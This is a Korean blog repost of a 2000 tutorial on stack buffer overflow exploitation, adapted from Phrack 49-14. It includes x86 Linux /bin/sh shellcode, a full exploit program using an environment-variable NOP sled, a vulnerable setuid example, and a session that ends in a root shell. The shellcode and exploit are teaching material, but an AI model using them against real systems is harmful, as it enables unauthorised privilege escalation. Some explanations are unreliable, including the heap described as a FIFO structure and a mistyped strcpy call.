본문 바로가기
카테고리 없음

버퍼 오버 플로우.

by 상레알 2010. 12. 22.
출처 : http://www.webdizen.net/blog/2383

/*-------------------------------------------------------------------*/
/* Buffer Overflow                                                   */
/*-------------------------------------------------------------------*/
/*                      Written by Laks Bluesky                      */
/*-------------------------------------------------------------------*/
/* Document Version :  (0.9).06.01.2000                              */
/*********************************************************************/


0. 시작하기 전에

** 이 글은 GNU 정신에 따라 자유롭게 배포될 수 있지만,  작성자 표기는 반
  드시 lb0gspm 으로 해 주셔야 합니다.
** 이 글을 정상적으로 읽기 위해선  C언어를 알아야 하며,  꼭 필요하진 않
  지만 GNU Debuger 를 사용할 줄 알면 편리합니다.
** 글의 내용이 많으므로, 되도록 프린트해서 보실것을 권장합니다.
** phrack 49-14호( aleph 1 )와 security.kaist( 서의성 )을 참고 하였습니
  다.
** 이 문서는 Linux 를 기준으로 작성되었습니다.


1. Buffer란 무엇인가?

Buffer란, 일종의 임시 기억장소이다. 데이터가 잠시 동안 저장되는 공간을 버퍼라 하는데, 버퍼에는 두가지 종류가 있다.

Stack은 흔히 LIFO 구조라 한다. 즉 Last I, First Out 다시 말하면 마지막에 들어간게 제일 먼저 나온다는 뜻이다. 이 말이 무슨 말인지를 이해하려면 높게 쌓아 올린 100원 짜리 동전들을 생각하면 쉽다. 제일 바닥에 있는 동전은 제일 처음 쌓기 시작한 동전이겠지만, 탑을 다 쌓고 나서 그 동전을 사용하기 위해서는 위에 쌓아 올린 동전들을 모두 사용해야 제일 마지막으로 그 동전을 사용할 수 있다. 스택이란 바로 일ㄴ시의 데이터 구조를 가진다. 제일 처음 들어간 데이터가 제일 밑에 위치하고, 그 다음 들어간 데이터가 그 위에 위치하게 된다. 이런식으로 데이터들이 차곡 차곡 쌓이게 된다. 이번엔 반대로 그 데이터들을 꺼내는 경우를 생각해 보자. 우선 제일 마지막에 들어간 데이터, 즉 제일 위쪽에 있는 데이터를 꺼내야만 또 그 아래에있는 데이터를 꺼낼 수 있게 된다. 이런식으로 제일 처음 들어간 데이터를 꺼내기 위해서는 나중에 들어간 데이터들을 모두 꺼낸뒤에, 비로소 제일 마지막으로 처음에 들어간 데이터를 꺼낼 수 있는 것이다.

Heap 은, 흔히 FIFO 구조라 한다. 즉, First In, First Out. 다시 말하면 처음 들어간게 처음에 나온다는 뜻이다. 이 말이 무슨 말인지를 이해하려면 양옆에 뚫려 있는 파이를 생각하면 쉽다. 파이프의 한 쪽 구멍을 들어가는문 반대쪽 구멍을 나오는 문이라 할때 들어가는 문에 동전을 계속해서 집어 넣으면 언제가는 파이프가 꽉 차게 되고, 그렇게 되면 제일 처음 들어갓던 동전은 나오는 문을 통해 밖으로 빠져나오게 된다. 즉, 제일 먼저 들어간 동전이 제일 먼저 나온다는 말이다. 힙은 이런 식으로 먼저 들어간 데이터가 먼저 나오는 데이터 구조이다.

버퍼에 이 두가지 종류가 있듯이. 버퍼 오버플로우에도 두가지 종류가 있다. 스택 오버플로우와 힙 오버플로우가 그것이다.
그리고 우리 흔히 Buffer Overflow 라고 불리는 것은 스택 오버플로우를 말한다.


2. Process 구조

유닉스 계열의 OS 에서 한 프로세스를 실행시키면, 그 프로세스는 다음과 같
은 구조로 메모리에 읽혀지게 된다.

                /-------------------------/  메모리상에서
                |                         |       높은 구역
                |         Stack           |
                |                         |
                /-------------------------/
                |                         |
                |          Heap           |
                |                         |
                /-------------------------/
                |                         |
                |          Data           |
                |                         |
                /-------------------------/
                |                         |
                |          Text           |
                |                         |  메모리상에서
                /-------------------------/       낮은 구역

text는  메모리상에서 가장 낮은 구역에 위치하는 부분으로, 프로그램의 본채라 할 수 있다. 보통 실행 코드들의 집합과 읽기만 간으한 데이터들이 들어가게 된다.

Data 는, Text 구역 바로 위에 위치하는 곳으로써, 프로그램에서 사용되는 변수 값들을 저장하게 된다.

Heap 은 , 정돈 되어 있지 않은 메모리상의 공간으로, 목적이 정해지지 않은 공간이다.

Stack은, 유닉스용 프로그램이 대부부 C언어로 작성되어 있기때문에 만들어진 구역으로 메모리상에서 가장 위쪽에 위치하게 된다. C 언어 에서 한 함수를 호출할때, 그 함수 내부에서 사용되는 지역변수나 그 밖에 값들을 저장하게 된다.

Text, Data, Heap 구역을 모두 이해할 필요는 없다. 오히려 그러한 구역은 우리가 알아야할 범위를 벗어난다. 우리가 반드시 알아야 할 것은, Stack 영역이다. C 언어에서 함수를 호출할때, 그 함수를 위한 공간이 바로 Stack에 생성되는 것이다. Stack Overflow는 이 부분을 조작함으로써 발생시킬 수 있는 해킹 기법인것이다.

그러면 함수가 호출될 때, Stack에는 정확히 어떤 형태의 구조가 생성되는지 알아보자.

3. Stack 의 구조와 Stack Overflow의 원리


--소스 1 what-is-statck.c

void function(int a, int b, int c)
{
   char buffer1[5];
   char buffer2[10];
}
int main(void)
{
   function(1, 2, 3);
}
--

이 소스 코드에는 아무런 기능도 하지 않고, 그저 변수만 할당해 주는 함수가 포함되어 있다.
그 함수가 Statck 영역에 생성되는 구조를 확인하려면 이 소스 코드의 어셈블리 코드를 봐야만 한다. 하지만
어셈을 할줄 모르면.,그걸 봐도어떤 구조인지 확인할 수 없다.

--참고1. C언어 소스로 부터 어셈블리 코드를 얻기
프롬프트에서 다음과 같은 명령으로 소스를 컴파일한다.

$ gcc -S -o what-is-statck.s what-is-stack.c
--


위 예제에서의 funtion()은 Stack 영역에 다음과 같은 형태로 위치하게 된다.

-- 참고2. function ()이 Stack 구역에 위치하는 구조

메모리상에서                                              메모리상에서
   낮은 구역                                                 높은 구역

            buffer2        buffer1   sfp   ret   c   b   a
           [             ][        ][    ][    ][  ][  ][  ]

스택상에서                                                스택상에서
   높은 구역                                                 낮은 구역


* buffer1, buffer2 :  소스코드에서 buffer1[5] 를 먼저 선언하고, 그 뒤에
                     buffer2[10] 을 선언했음을 기억하라. 그렇다면 스택
                     의 특징에 따라서 buffer2[10]이 buffer1[5] 보다 아
                     래쪽에 위치하게 된다.

* sfp  :  이 값은 어셈블리와 관계되는 부분이다.  다시한번 말하지만 나는
         어셈블리를 할 줄 모른다. 하지만, sfp 가 메모리상에서 4byte 의
         용량을 차지한다는 것은 알아두기 바란다.

* ret  :  바로 이 값이 키포인트이다. 지금 보여지고 있는 그림은 function
         () 이라는 함수의 스택 영역인데,  이 함수의 실행이 끝난 다음에
         는 ret 이 가르키는 함수를 실행하게 된다. 다시말해서 ret 는 바
         도 다음에 실행될 함수의 주소이다. ret 값도 메모리상에서는 4by
         te의 크기이다.

* c, b, a : function() 의 인자가 ( int a, int b, int c ) 였던 것을 기억
           하라.  그렇다면 스택의 특징에 따라서 역순으로 스택에 위치하
           게 된다.  이렇게 되면 첫번째 인자인 int a 를 제일 먼저 참조
           할 수 있게 된다.
---

메모리상 높은 구역에 있다는 말은 곧, 스택만으로 보면 스택의 윗부분에 있다는 뜻이 된다.
스택은 나중에 들어간 데이터가 제일 위에 위치한다는 것을 기억하라. 즉, 위에서 function()의 구조는 지역변수인 buffer2가 제일 먼저 들어가고, 역시 지역변수인 buffer1이 그 다음 들어가고 이러한 순서가 된다. 따라서 만약 사용자가 buffer2에 어떤 값을 입력하게 된다면, 역시 스택의 낮은 구역부터 시작하여 스택의 높은 구역으로 차례차례 채워지게 된다. 그렇다면 buffer2에 원래 할당된 10바이트가 넘는 값을 입력하게 된다면 넘치는 값은 역시 스택에 채워지게 되어 buffer1의 영역을 침범하게 된다. 만일 buffer2에 15바이트를 입력했다면 buffer2에 원래 할당된 크기인 10바이트가 채워지고, 나머지 5바이트는 buffer1에 채워지게 되는 것이다. 만일 이러한 식으로 buffer2에 엄청나게 긴 값을 넣는다면 어떻게 될까.. buffer2를 꽉채우고 buffer1 도 꽉 채운뒤, sfp 를침범하고 그뒤 ret을 침범하게 된다. 심지어 c,b,a 부분까지 침범할 수도 있다. 중요한 사실은, buffer2에 긴 값을 채움으로써 ret 부분에 접근할 수 있다는 것이다. 만일 이 프로그램의 실행 파일에 루트의 소유로 setuid가 붙어있다면, ret값을 수정함으로써 루트 권한으로 다른 프로그램을 실행 시킬 수 있게 된다. 바로 이것이 stack overflow의 골자이다.

4. Segmentation fault 메세지와 Stack Overflow 의 과정

--소스 3. sof-test1.c

void function( char *str)
{
     char buffer[16];
     str(buffer, str);
}

int main(void)
{
     char string[256];
     int i;

     for( i=0; i<256; i++){
           string[i] = 'A';
      }
      function( string)
}

이 프로그램에는 분명히 문제가 잇다. main()의 지역변수인 string 에 256 바이트의 문자를 채운뒤, 그것을 function()의 지역변수인 buffer에 대입하는 프로그램이다. 그런데 문제느   string 과 buffer의 크기가 다른데 잇다. string은 256바이트 인대 buffer는 16바이트에 불과한 것이다.

- 참고3. function()이 Stack 구역에 위치하는 구조

메모리상에서                                              메모리상에서
   낮은 구역                                                 높은 구역

            buffer         sfp   ret   *str
           [             ][    ][    ][                    ]

스택상에서                                                스택상에서
   높은 구역                                                 낮은 구역

--
위 소스 코드를 보면 str에 256개의 'A'를 넣은 것을 알 수 있다. 그리고 str을 buffer에 복사해 넣었다. 그런데 buffer는 16바이트만을 할당 받앗다. 따라서 원래 255ㄱ의 'A'중 16개는 buffer에 복사된다. 그러면 나머지 239개의 'A'는 모두 어디로 가는가? buffer영역을 넘어서 sfp를 침범하게 된다. 이로써 네개의 'A'는 sfp에 들어갓다. 그래도 아직 235개의 'A'가 남는다. 이것들은 sfp의 영역을 넘어서 ret을 침범하게 된다. 이로써 네개의 'A'는 ret에 들어갔다. 하지만 아직도 231개의 'A'가 남는다. 이것들은 ret의 영역을 넘어서 다시 자기 자신 즉, str 영역까지 침범하게 된다. 남은 231개의 'A'가 어찌 되었건 우리가 여기서 주목해야 할 사실이 있다. 바로 ret 값이 변경되었다는 점이다. 기존에 있던 ret 값을 'A'가 overwrite해 버린것이다. 이러한 의미에서 Stack Overflow를 Stack Overwrite라고 하기도 한다.  다음은 이런 과정을 끝마친 뒤에 function()의 모습이다.

-- 참고 4. Overflow (Overwrite )된 function()의 Stack 구조

메모리상에서                                              메모리상에서
   낮은 구역                                                 높은 구역

            buffer         sfp   ret   *str
           [AAAAAAAAAAAAA][AAAA][AAAA][AAAAAAAAAAAAAAAAAAAA]

스택상에서                                                스택상에서
   높은 구역                                                 낮은 구역

--

자, ret 값이 'AAAA'로 변경되었다. 그런데 'A' 는 16진수로 0x41 이다.  따
라서 지금의 ret 값은 0x41414141 이 되는 것이다.  그러면 function() 함수
의 실행이 끝난 뒤에는 0x41414141 의 위치에 있는 코드를 실행하게 되는데,
0x41414141 에는 어떤 값이 들어가 있을지는 아무도 모른다. 만일 그 위치에
실행할 수 없는 코드가 들어 있다면,  커널은 "실행하지도 못하는 걸 실행하
라고?" 하면서 불평을 하게 된다.  이러한 불평이  Segmentation fault 라는
에러메세지가 되는 것이다.

그러면 지금까지의 설명을 통해 Stack Overflow가 어떠한 과정으로 이루어지
는가를 정리해 보면 다음과 같다.

-- 참고 5. Stack Overflow 의 과정

1단계 : 함수의 지역변수 부분에 아주 긴 데이터를 입력함으로써, ret 의 위
       치까지 도달한다.
2단계 : 메모리의 어딘가에 실행시키고 싶은 코드를 써 넣는다.
3단계 : ret 에 실행시키고 싶은 코드가 위치하고 있는 주소를 써 넣는다.

--

5. Shell code 의 개념과 생성법

Stack Overflow의 과정중 2단계에서 실행시키고 싶은 코드를 써 넣는다고 하였는데, 우리가 공략하고자 하는 프로그램이 루트 소유의 setuid 라면, 실행 시키고 싶은 코드 부분에 쉘을 실행하는 코드를 써 넣음으로써 루트 권한의 쉘을 얻을 수 있다. 쉘을 실행하는  코드를 쉘 코드라 하는데, 쉘 코드는 컴픁가 이해할 수 있는 기계어라야만 실행 가능한 코드가 된다. 그러면, 쉘 코드는 어떤 식으로 만들어 지는지 알아보자.

-- 소스 4 shell.c

#include <unistd.h>

int main ( void )
{
   char *name[2];
   name[0] = "/bin/bash";
   name[1] = NULL;

  execvp(name[0], name);
}
--

이 소스를 컴파일한 뒤 실행시키면, 우리의 예상대로 쉘이 실행되게 된다. 그렇다면 이 프로글매의 기계어 부분이 우리가 원하는 쉘코드가 되는 것이다.
그러면 직접 이 프로그램의 기계어를 살펴보자. 다음과 같은 명령으 통해 이 프로그램의 기계어를 확인할 수 있다.

--참고 6. shell.c 의 기계어

우선 컴파일시 특별한 옵션을 주어야 한다.

$ gcc -ggdb -static -o shell sehll.c

이렇게 해서 shell을 만들어 냇으면 이제 GNU Debuger를 이용하여 이 프로그램을 분석해야 한다.

$ gdb shell

이렇게 실행시키면 메세지와 함께 다음의 프롬프트가 나타난다.

(gdb) _

여기서  disassemble 명령을 main()부분을 역어셈블 해본다.

(gdb) disassemble main

그러면 다음과 같은 복잡한 출력이 나타난다.

Dump of assembler code for function main:
0x8048198 <main>:       pushl  %ebp
0x8048199 <main+1>:     movl   %esp,%ebp
0x804819b <main+3>:     subl   $0x8,%esp
0x804819e <main+6>:     movl   $0x806f5c8,0xfffffff8(%ebp)
0x80481a5 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x80481ac <main+20>:    leal   0xfffffff8(%ebp),%eax
0x80481af <main+23>:    pushl  %eax
0x80481b0 <main+24>:    movl   0xfffffff8(%ebp),%eax
0x80481b3 <main+27>:    pushl  %eax
0x80481b4 <main+28>:    call   0x804ba20 <execvp>
0x80481b9 <main+33>:    addl   $0x8,%esp
0x80481bc <main+36>:    leave
0x80481bd <main+37>:    ret
End of assembler dump.

모두 어셈블리 코드라서 뭐가 뭔지 잘은 모르겠지만, 0x80481b4 문장을 보면 execvp()함수를 call을 통해
호출한것을 알 수 있다. 그러면 execvp() 함수도 다음과 같이 disassemble 해 보자.

(gdb) disassemble execvp

그러면 역시 굉장히 복잡한 출력이 나타난다.

Dump of assembler code for function execvp:
0x804ba20 <execvp>:     pushl  %ebp
0x804ba21 <execvp+1>:   movl   %esp,%ebp
0x804ba23 <execvp+3>:   subl   $0xc,%esp
0x804ba26 <execvp+6>:   pushl  %edi
0x804ba27 <execvp+7>:   pushl  %esi
0x804ba28 <execvp+8>:   pushl  %ebx
0x804ba29 <execvp+9>:   movl   $0x0,0xfffffffc(%ebp)
0x804ba30 <execvp+16>:  movl   0x8(%ebp),%eax
0x804ba33 <execvp+19>:  cmpb   $0x0,(%eax)
0x804ba36 <execvp+22>:  jne    0x804ba48 <execvp+40>
0x804ba38 <execvp+24>:  call   0x804bf24 <__errno_location>
0x804ba3d <execvp+29>:  movl   $0x2,(%eax)
0x804ba43 <execvp+35>:  jmp    0x804bb93 <execvp+371>
0x804ba48 <execvp+40>:  pushl  $0x2f
0x804ba4a <execvp+42>:  movl   0x8(%ebp),%ecx
0x804ba4d <execvp+45>:  pushl  %ecx
0x804ba4e <execvp+46>:  call   0x804d6c0 <strchr>
0x804ba53 <execvp+51>:  movl   %eax,%edx
0x804ba55 <execvp+53>:  addl   $0x8,%esp
0x804ba58 <execvp+56>:  testl  %edx,%edx
0x804ba5a <execvp+58>:  je     0x804ba70 <execvp+80>
0x804ba5c <execvp+60>:  movl   0xc(%ebp),%edx        
---Type <return> to continue, or q <return> to quit---

우리는 이렇게 긴 코드중에서 실제로 우리에게 필요한 부분만을 골라내야 한
다. 하지만 이런 출력들을 모두 다 이해할 필요는 없다.  우리가 해야 할 일
을 Phrack 49-14호에서 대신 해 주고 있기 때문이다. Phrack 49-14호에 따르
면, 이렇게 긴 코드중 우리에게 꼭 필요한 코드는 단 몇줄로 요약된다.

       jmp    0x26                     # 2 bytes
       popl   %esi                     # 1 byte
       movl   %esi,0x8(%esi)           # 3 bytes
       movb   $0x0,0x7(%esi)           # 4 bytes
       movl   $0x0,0xc(%esi)           # 7 bytes
       movl   $0xb,%eax                # 5 bytes
       movl   %esi,%ebx                # 2 bytes
       leal   0x8(%esi),%ecx           # 3 bytes
       leal   0xc(%esi),%edx           # 3 bytes
       int    $0x80                    # 2 bytes
       movl   $0x1, %eax               # 5 bytes
       movl   $0x0, %ebx               # 5 bytes
       int    $0x80                    # 2 bytes
       call   -0x2b                    # 5 bytes
       .string \"/bin/sh\"             # 8 bytes

--

자, 이제 쉘을 실행시키는데 꼭 필요한 몇줄의 어셈블리 코드를 얻었다.  이
제 우리가 할 일은 이 어셈블리 코드를 16진수의 기계어 코드로 변환하는 것
이다. 그 방법은 아주 간단하다. 다음의 소스를 보자.

-- 소스 5. shellcode.c
int main( void )
{
    __asm__( "
       jmp    0x26                     # 2 bytes
       popl   %esi                     # 1 byte
       movl   %esi,0x8(%esi)           # 3 bytes
       movb   $0x0,0x7(%esi)           # 4 bytes
       movl   $0x0,0xc(%esi)           # 7 bytes
       movl   $0xb,%eax                # 5 bytes
       movl   %esi,%ebx                # 2 bytes
       leal   0x8(%esi),%ecx           # 3 bytes
       leal   0xc(%esi),%edx           # 3 bytes
       int    $0x80                    # 2 bytes
       movl   $0x1, %eax               # 5 bytes
       movl   $0x0, %ebx               # 5 bytes
       int    $0x80                    # 2 bytes
       call   -0x2b                    # 5 bytes
       .string \"/bin/sh\"             # 8 bytes
    " );
}
--

이것은 인-라인 어셈블리를 이용하여  C언어에서 어셈블리 코드를 사용한 것
이다. 이제 이 프로그램을 컴파일 시켜보자

-- 참고 7. shellcode.c 에서 기계어를 추출하는 방법

다음과 같은 명령어로 shellcode.c 를 컴파일한다.

$ gcc -ggdb -static -o shellcode shellcode.c

다음 gdb 를 이용하여 shellcode 의 main() 부분을 역어셈블 시킨다.

$ gdb shellcode
(gdb) disassemble main

그러면 다음과 같은 코드를 얻을 수 있다.

Dump of assembler code for function main:
0x8048198 <main>:       pushl  %ebp
0x804819b <main+3>:     jmp    0x80481c3 <main+43>
0x804819d <main+5>:     popl   %esi
0x804819e <main+6>:     movl   %esi,0x8(%esi)
......( 이하 생략 )

우리는 여기서 main() 부분의 시작위치를 알 수 있다. 그러면 gdb 의 명령어
중, 16진수 기계어를 출력하는 명령어인 x/xb 를 이용하여 우리가 원하는 기
계어를 만들어 낼 수 있다.

(gdb) x/xb main
0x8048198 :    0xeb

일단 x/xb 에 main 의 위치를 알려주기만 하면  그 뒤로는 엔터를 입력할 때
마다 해당 라인의 16진수 코드가 출력되게 된다.

(gdb) [ENTER]
0x8048199 :    0x2a
(gdb) [ENTER]
0x804819a :    0x5e
....( 이하 생략 )

이러한 식으로 main() 이 끝나는 부분까지 16진수 코드를 얻을 수 있다.

--

자, 드디어 쉘코드를 얻었다.  i686/Linux 에서 이런식으로 쉘코드를 생성한
결과 다음과 같은 쉘코드를 얻을 수 있었다.

\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00
\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80
\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff
\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3

하지만 이것을 쉘코드로 사용하는데에는 문제가 있다.   쉘코드는 보통 다음
과 같이 선언된다.

char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"            
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

그런데 char 형 변수에서는 변수의 내용을 읽는 도중 \x00 을 만나면 문자열
의 끝으로 인식해 버릴수도 있는것이다. 그래서 위의 쉘코드중 \x00 을 제거
한 부분이 다음과 같다.

char shellcode[] =
    "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    "\x00\xc9\xc3\x90/bin/sh"

자, 이제 성공적으로 쉘 코드를 얻었으니 이 쉘코드가 실제로 쉘을 실행시키
는지 테스트를 해 볼 필요가 있다.

-- 소스 6. shelltest.c
char shellcode[] =
    "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    "\x00\xc9\xc3\x90/bin/sh";

int main( void )
{
    int *ret;

    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}
--

이 소스 코드는  ret 값을 shellcode 의 시작 주소로 변경하는 역할을 한다.
정상적으로 컴파일시켜 실행하면,  아마 쉘이 실행되는 것을 확인할 수 있을
것이다.



7. shellcode 의 주소를 ret 에 설정하는 법

자, 드디어 지루한 어셈블리가 끝나고 마지막 난제에 부딫쳤다. 바로 shellc
ode 의 위치를 ret 에 집어넣는 방법에 관한 문제인데,  0.9 버젼의 본 문서
에서는 이 부분은 다루지 않는다.  따라서 이 부분은 phrack 49-14호를 인용
한다.

-- 소스 7. exploit.c ( phrack 49-14호 인용, exploit4.c )

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
    "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    "\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void)
{
  __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;  
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;  
if (argc > 1) bsize   = atoi(argv[1]);
if (argc > 2) offset  = atoi(argv[2]);  
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize)))
{    
    printf("Can't allocate memory.\n");
    exit(0);  
}  
if (!(egg = malloc(eggsize)))
{
    printf("Can't allocate memory.\n");    
    exit(0);  
}
addr = get_esp() - offset;  
printf("Using address: 0x%x\n", addr);
ptr = buff;  
addr_ptr = (long *) ptr;  
for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;  
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)    
    *(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)    
    *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';  
egg[eggsize - 1] = '\0';  
memcpy(egg,"EGG=",4);
putenv(egg);  
memcpy(buff,"RET=",4);  
putenv(buff);  
system("/bin/bash");
}
--

이 소스 코드는 Stack 구역의 위치를 계산하여 새로운 쉘을 실행한다.  옵션
으로는 사용자가 임의로 buffer size와 offset을 설정할 수 있도록 하였는다.
그리고 RET 라는 환경변수에 쉘코드를 저장함으로써,  어떤 프로그램을 실행
시킬 때, 인자로 $RET 를 주면 자동으로 쉘코드가 들어가도록 하였다. 이 문
서의 다음 버젼에서는 이 프로그램에 주석을 달아 분석하기가 용이하도록 하
겠다.



8. Stack Overflow 의 예

다음 소스는 Stack Overflow가 가능한 프로그램의 예이다.

-- 소스 8. vulnerable.c
void main(int argc, char *argv[])
{  
    char buffer[512];  
    if (argc > 1)
        strcpy(buffer,argv[1]);
}
--

자, vulnerable.c 를 컴파일하고, root 소유의 setuid 를 걸어보자.  그리고
일반 계정으로  로그인하면 위의 exploit 을 이용하여 다음과 같은 과정으로
Stack Overflow를 일으킬 수 있다.

-- 참고 8. Stack Overflow의 예

$ ./exploit
Using address: 0xbffff900

$ ./vulnerable $RET
갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?
갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?
갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?
Segmentation fault

$ exit
exit

$ ./exploit 768
Using address: 0xbffffdb0

$ ./vulnerable $RET
갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?
갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?
갇?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?염?
bash#